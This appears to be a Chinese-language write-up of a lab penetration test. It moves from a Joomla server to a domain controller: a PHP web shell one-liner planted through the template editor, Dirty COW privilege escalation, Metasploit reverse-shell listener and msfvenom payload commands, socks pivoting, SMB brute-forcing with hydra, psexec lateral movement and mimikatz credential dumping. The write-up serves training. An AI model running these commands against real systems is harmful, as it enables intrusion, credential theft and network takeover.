网络拓扑
1、主机发现
2、端口扫描
nmap -sS -sV -O -A 192.168.0.25
22(ssh)、80、3306(mysql)
3、目录扫描
dirsearch -u 192.168.0.25
发现了两个重要的东西,管理员后台和数据库相关的文件
administrator是管理员的后台地址
configuration.php~中是数据库账号和密码(管理员可能忘了删)
4、拿第一台shell过程
(1)直接用nacivate连接(也可以在命令提示符那连)
(2)在joomala数据库中寻找管理员相关信息
(3)破解管理员密码
破解不成功
joomla官网虽然没有直接公布密码的加密方式,但是它为了防止用户忘记密码增加了一个添加超级管理员用户的方式,就是通过登录数据库执行sql语句达到新建超级管理员的效果
How do you recover or reset your admin password? - Joomla! Documentation
这里采用直接将密文粘贴覆盖到数据库管理员原有的密码位置(也可以再新建一个管理员,再插入相应密码)
保存
登录后台(administrator/admin)
joomla的后台有一个模板的编辑处可以写入文件,这里找到Extensions->Template
蚁剑连接
http://192.168.0.25/templates/beez3/index.php
绕过disable_functions
需要
成功绕过
如果还不行可以将一句话木马改为如下代码,再重复上述操作
<?php $fun = create_function('',$_POST['cmd']); $fun(); ?>
从ip地址可以看出,ip地址:192.168.93.120,并没有我们设置的这个192.168.0.25这个ip,结合80端口的nginx中间件,可以得出使用了nginx反向代理
反向代理:类似于自己买的云服务器,每个云服务器都有一个公网ip,你登录进去后,查看ip,就只能看到内网ip,和这个场景一模一样(个人理解)
至此第一台机器就拿下来
(外网ip:192.168.0.25 内网ip:192.168.93.120)
5、第二台
拿下第一台后,在tmp->mysql->test.txt中有账号和密码
用工具连接,ip地址还是填的192.168.0.25
发现内网ip不是192.168.91.200了,这是另外一台Linux机器
uid是500,可能是因为你是在安装系统时创建的第一个用户,或者是因为在安装系统时选择了其他用户UID值。无论如何,UID为500的用户与其他用户一样可以使用系统功能和执行相应的操作。总结:权限不足
用脏牛提权(网上一大堆)
gcc -pthread dirty.c -o dirty -lcrypt ./dirty 123 如果被拒绝,执行 chmod +x 文件名
密码:123
至此第二台主机拿下
6、内网渗透
将刚刚提权成功的机器反弹会话给kali
msfconsole模块 设置监听 msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set Lhost 192.169.0.13 msf6 exploit(multi/handler) > set Lport 4444 msf6 exploit(multi/handler) > run 重开一个终端,生成shell.elf文件,放入刚刚提取成功的机器中执行 msf6 > msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.0.13 LPORT=4444 -f elf > shell.elf
路由
run post/multi/manage/autoroute
run autoroute -p
socks代理进入内网扫描
记住这个代理,下面要用到
msf6 > search socks msf6 > use auxiliary/server/socks_proxy msf6 auxiliary(server/socks_proxy) > run
扫描内网主机
msf6 > use auxiliary/scanner/discovery/udp_sweep msf6 auxiliary(scanner/discovery/udp_sweep) > set RhOSTS 192.168.93.1-255 msf6 auxiliary(scanner/discovery/udp_sweep) > set threads 100 msf6 auxiliary(scanner/discovery/udp_sweep) > run
三台主机:
192.168.93.10
192.168.93.20
192.168.93.30
在/etc/proxychains4.conf中配置代理用于端口扫描
就是上面用到的代理
这是突发奇想想用代理做主机发现,结果不行
内网端口扫描
proxychains nmap -sT -sV -O -Pn -p135,139,445,3389,80,8080,22,23 192.168.93.10 扫全端口时间太长,偷个懒扫一些重要端口
proxychains nmap -sT -sV -O -Pn -p135,139,445,3389,80,8080,22,23 192.168.93.20
proxychains nmap -sT -sV -O -Pn -p135,139,445,3389,80,8080,22,23 192.168.93.30
爆破smb
proxychains hydra -L user.txt -P password_top100.txt 192.168.93.30 smb
proxychains hydra -L user.txt -P password_top100.txt 192.168.93.20 smb
192.168.93.10没有爆出来
psexec横向模块
用psexec横向模块,看能不能横向到192.168.93.30和192.168.93.20
这里可能会出现时间超时啥的,是代理的问题,运行下面两条命令,再继续
msf6 > use auxiliary/server/socks_proxy msf6 auxiliary(server/socks_proxy) > run
msf6 > search psexec msf6 auxiliary(server/socks_proxy) > use exploit/windows/smb/psexec msf6 exploit(windows/smb/psexec) > set Rhost 192.168.93.30 msf6 exploit(windows/smb/psexec) > set payload windows/x64/meterpreter/bind_tcp msf6 exploit(windows/smb/psexec) > set SMBPass 123qwe!ASD msf6 exploit(windows/smb/psexec) > set SMBuser administrator msf6 exploit(windows/smb/psexec) > run
msf 抓取密码
meterpreter > load kiwi meterpreter > kiwi_cmd privilege::debug meterpreter > kiwi_cmd sekurlsa::logonPasswords
没什么有用的信息,只能看到自己的hash和所在域
同样的方法横向192.168.93.20
msf 抓取密码和查看域管
这是域控的明文账号和密码
这是域控主机(这里少了一步,为什么要ping的是WIN-8GA56TNV3MV.test.org,就是用net time /domain 命令查看)
再继续看能不能用同样的方法,横向到域控
经测试,不成功,但是已经知道域控的账户和密码,可以直接用exe文件横向
拿域控
小帽子中添加设置的代理,并在命令提示符中执行
可能会有点慢,至此全部拿下!